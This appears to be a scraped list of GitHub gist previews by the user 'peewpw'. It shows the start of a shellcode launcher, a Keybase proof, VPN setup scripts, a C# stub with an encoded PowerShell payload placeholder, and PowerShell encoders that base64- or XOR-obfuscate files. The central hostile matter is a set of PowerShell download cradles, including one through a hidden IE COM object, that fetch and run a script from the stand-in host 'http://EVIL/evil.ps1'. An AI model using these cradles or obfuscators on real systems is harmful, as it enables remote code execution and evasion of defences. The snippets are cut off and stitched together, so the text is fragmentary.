peewpw

<a href="file://C:/Windows/System32/cmd.exe">cmd<a>

peewpw

# 64 bit compatible shellcode launcher
#
# The versions of this I've attempted to use appear to only work in 32bit Python (at least for 3.7-8).
# Hence why this was neede to solve a problem.
#
# based on work from:
#   http://www.debasish.in/2012/04/execute-shellcode-using-python.html
#   https://www.christophertruncer.com/shellcode-manipulation-and-injection-in-python-3/
#   https://stackoverflow.com/a/61258392
#

peewpw

### Keybase proof

I hereby claim:

  * I am peewpw on github.
  * I am peewpw (https://keybase.io/peewpw) on keybase.
  * I have a public key ASDHYmSfI3b2fhsZZwQEru6gluuBbn8SleJdt8HztfNtYAo

To claim this, I am signing this object:

peewpw

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

peewpw

VPN Server User Data (for Ubuntu 18.04)
---------------------------
#!/bin/bash
wget https://gist.githubusercontent.com/peewpw/a1a367f1ab68e9262a19b13d33357596/raw/4a49617c0842a477592de916fb330636741ce5a5/quick-and-dirty-vpn.sh
chmod +x quick-and-dirty-vpn.sh
./quick-and-dirty-vpn.sh bsides.demo 10.0.0.104


Get VPN Config file
---------------------------

peewpw

#!/bin/bash

cd /opt

# Install openvpn
apt-get update
apt-get install openvpn easy-rsa -y

# force vpn server to use amazon's DNS (not dhcp options set)

peewpw

using System.Threading;
using System.Diagnostics;
using System.IO;

namespace peewpw
{
    static class Program
    {
        static string psc = "<encoded powershell payload>";
        static void Main(string[] args)

peewpw

param (
	[string]$in = $( Read-Host "Please specify a file to encode with -in" ),
	[string]$out = $( Read-Host "Please specify an output file with -out" )
)
if (-Not (Test-Path $in)) { Read-Host "Please Specify a valid filepath" }
$str = [System.IO.File]::ReadAllText($in)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($str)
[Convert]::ToBase64String($bytes) | Out-File $out

peewpw

param (
  [string]$in = $( Read-Host "Please specify a file to encode with -in" ),
  [string]$out = $( Read-Host "Please specify an output file with -out" )
)
if (-Not (Test-Path $in)) { Read-Host "Please specify a valid filepath" }
$str = [System.IO.File]::ReadAllText($in)
$bytes = [System.Text.Encoding]::Ascii.GetBytes($str)
for($i=0; $i -lt $bytes.count; $i++) {
	$bytes[$i] = $bytes[$i] -bxor 0x71
}

peewpw

using System;
using System.Diagnostics;

namespace peewpw
{
    static class Program
    {
        [STAThread]
        static void Main()
        {